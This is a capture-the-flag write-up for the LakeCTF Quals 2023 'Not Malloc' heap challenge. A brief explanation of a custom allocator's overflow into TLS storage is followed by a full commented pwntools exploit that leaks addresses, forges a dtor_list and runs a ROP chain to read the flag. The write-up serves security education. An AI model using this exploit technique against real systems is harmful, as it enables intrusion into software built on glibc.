not malloc 409

by nobodyisnobody_ / Water Paddler

Tags: pwn custom-heap

Rating:

Not Malloc

was a pwn challenge from LakeCTF Quals 2023.

Basically, we can say that it was an heap challenge but with a custom allocator, full of bugs, like an old dog full of fleas..

Here is a short write-ups to explain the exploitation.

In this custom allocator data & metadata were separated.

You can allocate as much data that you want for heap at startup, with a minimum of 0x4000 bytes.

I quickly spot that you can have a overflow in `metadata_heap`, when you allocate a chunk bigger than data size.

In the docker, the `heap` & `metada_heap` are allocated just before tls-storage (which is just before libc), so we can also have an overflow in tls-storage.

When you free a chunk, the allocator leaves a metada address in `metadata_heap`..

So our plan for exploitation is simple:

- we first ask for an heap size of 0x4000 bytes (the minimum)
- then we allocate 3 chunks, two smalls, and a big one that overflow metadata_heap
- then we free the small chunks, that will leave an metada_heap address in our big chunk.
- then we leak this metadata_heap address by displaying big chunk, and calculate `libc` base and `tls-storage` address with it, as they are mapped just next to our region.
- then we create another chunk that will overflow `tls-storage`, where we will stack pivot, and execute a ROP to dump the flag

  I used method number #5:

  https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc#5---code-execution-via-tls-storage-dtor_list-overwrite

We will get code execution by creating a fake dtor_list structure in tls-storage as explain in my doc above.

And that's all :)

here is the exploit commented:

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import psutil
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = 'info'

# shortcuts
```

```python
def logbase(): log.info("libc base = %#x" % libc.address)
def logleak(name, val):  log.info(name+" = %#x" % val)
def sa(delim,data): return p.sendafter(delim,data)
def sla(delim,line): return p.sendlineafter(delim,line)
def sl(line): return p.sendline(line)
def rcu(d1, d2=0):
  p.recvuntil(d1, drop=True)
  # return data between d1 and d2
  if (d2):
    return p.recvuntil(d2,drop=True)

exe = ELF('./chal')
libc = ELF('./libc.so.6')

if args.REMOTE:
  host, port = "chall.polygl0ts.ch", "9004"
else:
  host, port = "127.0.0.1", "5000"

p = remote(host,port)

def create(idx,data,size=0):
  sla('> ','1')
  sla('index > ', str(idx))
  if (size==0):
    size = len(data)+1
  sla('size > ', str(size))
  sla('content > ', data)

def show(idx):
  sla('> ','2')
  sla('index > ', str(idx))

def free(idx):
  sla('> ','3')
  sla('index > ', str(idx))

sla('HEAP SIZE > ', '4000')
sla('> ', '2')

create(0,'A')
create(1,'B')

payload = b'C'*8096
payload += b'0'*0x20+ (p64(0)+p64(0x20)+p64(0)*2)*2
payload += p64(0)+p64(0x4000)+p64(1)+p64(0)
create(2,payload)
# free bins to leave a meatadata_heap address in memory
free(1)
free(0)
# leak metadata_heap entry address
show(2)
meta = u64(rcu(b'0'*0x20,b'\n').ljust(8,b'\x00'))-0x40
# calculate tls-storage address
tls = meta+0x4740
libc.address = tls+0x28c0
logbase()
logleak('metadata_heap', meta)
logleak('tls',tls)

rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
```

```
pop_rdx = rop.find_gadget(['pop rdx','pop r12', 'ret'])[0]
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
syscall = rop.find_gadget(['syscall', 'ret'])[0]

xchg_edi_eax = libc.address+0x000000000014a385 # xchg edi, eax ; ret
xchg_edx_eax = libc.address+0x00000000000cea5a # xchg edx, eax ; ret

# we gonna overflow and forge a fake dtor_list in tls-storage
# as explained there: https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc#5---
code-execution-via-tls-storage-dtor_list-overwrite
#
payload = b'O'*17936
payload += p64(tls+0x21ce40)+p64(tls+0x224c00)+p64(0)+p64(tls+0x1c0d80)+p64(tls+0x1c1380)+p64(tls+0x1c1
c80)
# pivot on tls and jump over
payload += p64(0)+p64(tls-0x50)+p64((libc.address+0x00000000000562ec)<<17)+p64(libc.address+0x000000000
0114886)
payload += p64(0)*8
# --
payload += p64(tls)+p64(tls+0xa20)+p64(tls)
payload += b'/app/flag'.ljust(0x20,b'\x00')
# our ROP start here
# fd = open('/app/flag',O_RDONLY)
payload += p64(pop_rdi)+p64(tls+0x18)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
# size = read(fd, tls-0x200, 128)
payload += p64(xchg_edi_eax)+p64(pop_rsi)+p64(tls-0x200)+p64(pop_rdx)+p64(128)*2+p64(libc.sym['read'])
# write(1, tls-0x200, size)
payload += p64(xchg_edx_eax) + p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(tls-0x200)+p64(libc.sym['write'])
# overflow tls-storage
create(2,payload)
# jump to our payload
sla('> ', '4')

p.interactive()
```

nobodyisnobody still hacking something...

Original writeup (https://github.com/nobodyisnobody/write-ups/tree/main/LakeCTF.Quals.2023/pwn/not.malloc).

Comments